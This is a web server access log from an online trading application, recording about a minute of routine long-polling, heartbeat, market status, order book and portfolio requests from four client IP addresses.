[09/Jan/2026:15:22:49 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13975?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767943639589 HTTP/1.1" -
[09/Jan/2026:15:22:49 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767943638650 HTTP/1.1" -
[09/Jan/2026:15:22:50 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:22:50 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:15:22:50 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767943646301 HTTP/1.1" -
[09/Jan/2026:15:22:53 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767943642731 HTTP/1.1" -
[09/Jan/2026:15:22:54 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13975?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767943644688 HTTP/1.1" -
[09/Jan/2026:15:22:54 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767943643789 HTTP/1.1" -
[09/Jan/2026:15:22:55 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:22:55 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:15:22:55 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767943651402 HTTP/1.1" -
[09/Jan/2026:15:22:56 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:22:56 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:15:22:57 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:22:57 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:15:22:57 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:22:57 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:15:22:58 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767943647748 HTTP/1.1" -
[09/Jan/2026:15:22:59 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:22:59 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Orderbook HTTP/1.1" 1380
[09/Jan/2026:15:22:59 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/wait.gif HTTP/1.1" 432
[09/Jan/2026:15:22:59 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13975?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767943649754 HTTP/1.1" -
[09/Jan/2026:15:23:00 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767943648920 HTTP/1.1" -
[09/Jan/2026:15:23:00 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767943656479 HTTP/1.1" -
[09/Jan/2026:15:23:02 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:23:02 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:15:23:02 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/wait.gif HTTP/1.1" 432
[09/Jan/2026:15:23:02 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:23:02 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Portfolio HTTP/1.1" 1872
[09/Jan/2026:15:23:03 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:23:03 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767943652781 HTTP/1.1" -
[09/Jan/2026:15:23:03 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Orderbook HTTP/1.1" 3584
[09/Jan/2026:15:23:03 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/wait.gif HTTP/1.1" 432
[09/Jan/2026:15:23:05 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13975?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767943654887 HTTP/1.1" -
[09/Jan/2026:15:23:05 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767943653965 HTTP/1.1" -
[09/Jan/2026:15:23:05 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767943661518 HTTP/1.1" -
[09/Jan/2026:15:23:06 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:23:06 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:15:23:07 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/wait.gif HTTP/1.1" 432
[09/Jan/2026:15:23:07 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:23:07 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Orderbook HTTP/1.1" 1380
[09/Jan/2026:15:23:08 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767943657802 HTTP/1.1" -
[09/Jan/2026:15:23:08 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/images/refresh.gif HTTP/1.1" 1145
[09/Jan/2026:15:23:08 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:23:08 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Orderbook HTTP/1.1" 3584
[09/Jan/2026:15:23:09 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/wait.gif HTTP/1.1" 432
[09/Jan/2026:15:23:09 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/images/refresh.gif HTTP/1.1" 1145
[09/Jan/2026:15:23:09 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/wait.gif HTTP/1.1" 432
[09/Jan/2026:15:23:09 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:23:09 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Portfolio HTTP/1.1" 1871
[09/Jan/2026:15:23:10 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767943659028 HTTP/1.1" -
[09/Jan/2026:15:23:10 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13975?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767943659975 HTTP/1.1" -
[09/Jan/2026:15:23:11 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767943666628 HTTP/1.1" -
[09/Jan/2026:15:23:13 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767943662834 HTTP/1.1" -
[09/Jan/2026:15:23:15 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:23:15 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:15:23:15 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13975?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767943665072 HTTP/1.1" -
[09/Jan/2026:15:23:15 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767943664098 HTTP/1.1" -
[09/Jan/2026:15:23:16 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767943671701 HTTP/1.1" -
[09/Jan/2026:15:23:17 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/wait.gif HTTP/1.1" 432
[09/Jan/2026:15:23:17 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:23:17 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Portfolio HTTP/1.1" 1968
[09/Jan/2026:15:23:18 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767943667859 HTTP/1.1" -
[09/Jan/2026:15:23:20 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:23:20 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767943669237 HTTP/1.1" -
[09/Jan/2026:15:23:20 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13975?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767943670167 HTTP/1.1" -
[09/Jan/2026:15:23:20 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:15:23:21 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767943676740 HTTP/1.1" -
[09/Jan/2026:15:23:23 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767943672898 HTTP/1.1" -
[09/Jan/2026:15:23:25 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:23:25 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:15:23:25 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767943674296 HTTP/1.1" -
[09/Jan/2026:15:23:25 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13975?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767943675378 HTTP/1.1" -
[09/Jan/2026:15:23:26 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767943681835 HTTP/1.1" -
[09/Jan/2026:15:23:26 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:23:26 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:15:23:27 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:23:27 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:15:23:27 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:23:27 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:15:23:28 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767943677932 HTTP/1.1" -
[09/Jan/2026:15:23:30 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767943679351 HTTP/1.1" -
[09/Jan/2026:15:23:30 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13975?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767943680444 HTTP/1.1" -
[09/Jan/2026:15:23:31 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767943686914 HTTP/1.1" -
[09/Jan/2026:15:23:32 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:23:32 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:15:23:33 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767943682959 HTTP/1.1" -
[09/Jan/2026:15:23:35 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767943684398 HTTP/1.1" -
[09/Jan/2026:15:23:35 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13975?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767943685482 HTTP/1.1" -
[09/Jan/2026:15:23:36 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767943691944 HTTP/1.1" -
[09/Jan/2026:15:23:36 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:23:36 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:15:23:38 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767943688000 HTTP/1.1" -
[09/Jan/2026:15:23:40 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767943689457 HTTP/1.1" -
[09/Jan/2026:15:23:40 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13975?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767943690521 HTTP/1.1" -
[09/Jan/2026:15:23:41 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767943697062 HTTP/1.1" -
[09/Jan/2026:15:23:43 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767943693019 HTTP/1.1" -
[09/Jan/2026:15:23:45 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:23:45 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:15:23:45 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13975?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767943695649 HTTP/1.1" -
[09/Jan/2026:15:23:45 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767943694592 HTTP/1.1" -
[09/Jan/2026:15:23:46 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767943702128 HTTP/1.1" -
[09/Jan/2026:15:23:48 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767943698043 HTTP/1.1" -
[09/Jan/2026:15:23:50 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
